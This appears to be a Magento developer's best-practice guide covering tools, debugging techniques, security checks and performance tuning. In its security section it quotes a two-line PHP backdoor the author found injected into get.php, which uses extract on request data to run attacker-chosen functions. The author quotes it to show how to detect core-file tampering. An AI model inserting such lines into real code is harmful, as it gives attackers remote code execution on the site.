Commerce Academy Resources Magento Workflow and Debugging Methods Best Practices and Sage Advice I frequently receive questions about recommendations for working with Magento, but more specifically workflow and debugging methods. I ve worked with Magento since the beginning. I m excited about Magento 2, PSR compliance, and all the nice coding practices the community agreed too. The Magento 1 architecture is great as well. Along the way I ve had to resolve issues in production code on many large builds, some taking thousands of orders a day. As you can imagine, ensuring code quality and the efficiency at which that code can be produced is always a top priority. This is all to say, I m rather well coursed in the ways of Magento and along the way I ve gathered many resources and cautiously followed many best practice procedures to ensure my code is of the highest quality and is produced in a timely manner. You have to expect problems along the way when coding and if you are not prepared nor have a system in place to handle that, you re going to run into a lot of problems. With that in mind, here are some of the things I ve used to get through a few of Magento s messes. Hopefully you will find something here that makes your tasks a bit easier, more efficient, and worry free. IDE Usage PHPStorm https://www.jetbrains.com/phpstorm/ This one is a no brainer. It has project indexing and an intelligent IDE that will alert you for making simple mistakes. Unless you re a wizard at molding vi to reproduce PHPStorm features, anything less than PHPStorm on a Magento project is sheer nonsense. Magicento http://magicento.com/ This little gem adds some nice features for PHPStorm + Magento. In the least it ll save you a few headaches on mismatching a config.xml expectation. However, I assert if you can t do it by yourself and don t understand what you re doing, please don t use this tool. It can be difficult and you ll be saving the community from parsing your errors. https://github.com/netz98/n98-magerun This alternative to Magicento generates meta data for PHPStorm. This is easily your most useful Magento tool next to your IDE, and it will enhance it if you use PHPStorm. modman https://github.com/colinmollenhour/modman This is of course a no brainer. While developing custom Magento mods, modman allows you to keep it real clean and neat. Oh and for the community on github this is simply the standard.
2 Codesniff https://github.com/magento-ecg/coding-standard Start holding your code to the PSR standards (and higher, the highest possible standards you can wrap your head around). http://www.php-fig.org/psr/ Magento 2 is PSR compliant, get used to it. Debugging This little gem has taken me through every layer of functionality in every context you can imagine and if you re careful (don t dump nasty large recursive objects) you can debug your way through a production environment with it. If you want to handle suppressing the recursion and get more out of big objects, use the Mediotype Debugger class instead of the Mage log class https://github.com/mediotype/magentocore/blob/master/app/code/community/mediotype/core/helper/debugger. php Mage::log( array( NOTE => $data), null, fix-the-problem.log ); Temporarily adding the above line of code (corrected for your context) to the right place can turn an ambiguous Magento error log into a meaningful and exact log. For instance simple xml can t parse your config xml somewhere? Modify the above and add it into the config parser to find out exactly where that is coming from. Watch out for the @ http://php.net/manual/en/language.operators.errorcontrol.php usage in third party modules, which may be swallowing errors. Print any majorly swallowed errors. /** Throw an old error outputting technique below the Mage::app() call in index.php */ print_r(error_get_last()); Xdebug + PHPStorm Breakpoints? Works until you have ioncube in your project at least. Zend Server http://www.zend.com/en/products/server/features That s right, a new stack from Zend with a rich and deeply insightful active / step debugging integration. The novelty is at least appealing in your agency s development environments. Casper.js http://casperjs.org/ Use this to process sitemap.xml to find JS errors. Evaluate any re-write conflicts and handle them properly. If that doesn t work evaluate all the re-writes. Evaluate all the Registered Events
3 Keep a keen eye out for modules that listen to global events like controller_action_layout_load_before don t be noobish and hook into global events. If you think its the right thing to do, you re probably wrong. If you have bugs on your site you might look at the functions in your observer s and make sure they re not doing something stupid, like modifying data by reference passed through the event observer object. If an observer throws a suppressed fatal error, your application will die with no insight into the source of the problem. Make sure observers are either hooked in granularly (most specific possible event) and make sure they only execute any functional code if they re supposed to (check conditions). Switch the Database into Debug Mode Change the following to true in lib/varien/db/adapter/pdo/mysql.php protected $_debug = false; Or if you really just want the bad query, add a Mage::log into the catch call in \Varien_Db_Adapter_Pdo_Mysql::query Get used to searching the database for values, and tracking the data back into the application to understand how the data makes the application behave. SQL is often the easiest way to find data problems, and if proficient, fix them. Security Scan your Magento site and make sure patches are applied https://www.magereport.com/ Keep Development running through your versioning control system. NEVER EVER ALLOW FTP DEVELOPMENT ON YOUR PRODUCTION SYSTEM. Implement Release and build control, if you re not there yet, use Fabrizio Branca s - https://github.com/aoepeople/magento-deployscripts You probably ought to learn how to use the rest of AOE s module s as well. I wrote my own deploy command, I think Fabrizio s used to be named release but now its deploy which seems more appropriate, anyhow the composer structure and functionality in that repository is insanely valuable and should be used. Ultimately you really should write your own if you want to master your release process. Developers have been wielding this type of weapon for years, ant builds are even still used today at very large fortune 50 companies. Use OS X Filemerge or the diff linux command to regularly identify Magento files that differ from a clean Magento pack matching your version. Use Fabrizio s mpmdhttps://github.com/aoepeople/mpmd n98 command add on for a nice report view of the diff command. Inspect differences, know what they do. This practice has lead me to catch the now infamous hack that serialized form post data into fake.gif files for CC leaking long before Nexcess released their article about it. It helped me find another sneaky hack that I haven t heard mention of in the Magento community yet. This was pretty
4 slick, much simpler than the PHP shell that drove the CC leak hack. I found these extra lines in get.php p.s. Filemerge is a great way to perform Magento Upgrades and learn about all the release changes while catching core hacks and edits. @extract ($_REQUEST); @die ($ctime($atime)); https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html If any code in your site besides core Magento classes reference $_COOKIE or $_SESSION get rid of it. If they curl requests out to a third party server in a foreign country you re hacked. Use paros proxy http://sectools.org/tool/paros/ to find JavaScript vulnerabilities. Use the Magento sanitizers where appropriate. Mage::getSingleton( core/input_filter_maliciouscode ); New Relic http://newrelic.com/ For security, use the external calls tab and make sure you know what your Magento store is communicating with. You thought New Relic would be in the performance section it will be. Use triplecheck.io to evaluate third party extensions, test the extensions for performance and code integrity that you install on your site. Performance Magento s very capable. Indexing however slows down with a large catalog, butcan be modded. The catalog can be backended with a document storage engine (solr,elasticsearch,redis,couch), indexing can be done with direct sql statements (if you know the system well enough). Know your baseline. The Magento Performance Tool Kit will simulate as many scenarios as you want with a clean OOTB Magento. Run it and know where the limits are. If your build isn t close, its your modules and implementation. Rarely is it the server stack. HHVM works great with Magento. I ve run multiple builds in production on it for almost a year, some in Europe are and a few others in the US are starting to. But again, know where it breaks and when it has to scale out. PHP7 has repurposed to being more prepared for JIT (AOT) so HHVM has a few more years of relevancy with PHP7 forgoing the JIT. Tegan Snyder nailed at least 70% of an operating HHVM stack if you want to try it here: https://gist.github.com/tegansnyder/96d1be1dd65852d3e576 The rest is up to you to work out, if you can t get through it you shouldn t be using it anyhow or should be using Mediotype s stack and partner cloud management services leveraging it.
5 If you want to know what kind of load your EE store can handle, try Lagrange Systems http://www.lagrangesystems.com/, AOE or Mediotype. You can create your own simulations based on the Magento Performance Toolkit and run it against your environment. FPC Full Page Cache the double edge sword. On the one side it can make a site blazing fast and handle more users. On the other side, your cached contents could be masking the performance issues of your site. Turn it off sometimes and make sure your server response times are sub 1500ms (preferably 1000ms) without full page cache. If your response is slow use the Magento Profiler and find the slow running code, then fix it. The number one issue I see with slow templates is collections poorly loaded, then looped through to load each model individually. Be smart, if 1 visitor on a page causes 200 (or 2000) db selects, then 100 users on that page would hit 20000 db transactions (or 200000). Try running blackfire.io https://blackfire.io/ with FPC off and see what your transactions are like (scale of function calls and db interaction). On a OOTB Magento build with 250,000 configurable products using 190 attributes to configure on, a category page should fire less than 300 Magento events and talk to the db less than 150 times and deliver from the server in 250ms. Find the high transaction producing code and re-write it correctly. Those pretty poorly coded layered navigation modules out there tend to kill category performance. The new Magento Color Swatch module kills category performance, don t use it 20+second category load with 5 products and 10 colors. Try the Magento Profiler and turn all your modules off then back on one at a time, really measure how each module affects the system s performance. New Relic should show a consistent flatline response time!!! Ideally sub 400ms. Use New Relic and find which modules are talking to remote servers, disable their remote calls, they re killing performance. Cache models after loading them if you don t need to look them up regularly (destroy the cache when the models change). Don t, and I mean don t ever use the PHP getimagesize function against URLs first its the slowest performing PHP function there is. Second, if you re using your own domain s url (when you could use the file system), especially if you re doing it in a loop of a product collection, you just nuked your server s queue, your application is competing with your visitors for your servers attention, this is a bad situation that limits concurrency and one I ve seen dozens of times now. Speed up your store by using a CDN, S3, gzip, cache control headers, opcache, redis, HHVM (if you don t have error ridden code), etc and first and foremost by writing really awesome Magento code! Community I ve learned to pay attention to github, Ben Marks https://twitter.com/benmarks, Magento Corp, and a few other leaders in the Magento community, go to Magento events, get to know the people. If you get the chance to work with some of the leaders in the community, take advantage of it, soak up everything you can.
6 Github. Whenever possible, open source up your code and get the community to work with it and contribute back. Pay attention to the key players, there are only a few dozen of them and they re not hard to find. Checkout the Magento Hackathon assets https://github.com/magento-hackathon. Figure out who (or what agencies) are sub-par and stay away from their practices until they clean up their act. Key Players https://twitter.com/benmarks https://github.com/magento https://github.com/fooman https://github.com/aoepeople https://github.com/fbrnc https://github.com/colinmollenhour https://github.com/philwinkle http://www.webshopapps.com/blog/ https://github.com/mediotype https://github.com/ecomdev https://github.com/mprototype https://github.com/danslo https://github.com/magento-hackathon Run through the people associated with the hackathon, there are a ton of leading resources from the developers who have touched the hackathon. Walking through the code that was written for me by other developers (i.e. Varien_Object) is one of the best resources I ve found for Magento, especially the Adminhtml controllers and the core frameworks. Wouldn t it be great if the code I leave for other developers was as valuable a resource? Ideally you should be hoping for the same. Finally, there s always Magento Imagine http://imagine.magento.com/. It s value, if not apparent, should be understood. If any of this advice was worthwhile or useful Hopefully I ll see you there in 2016! If you have any resources or recommendations you think belong here, please send them diveinto@mediotype.com and we ll get them added!
7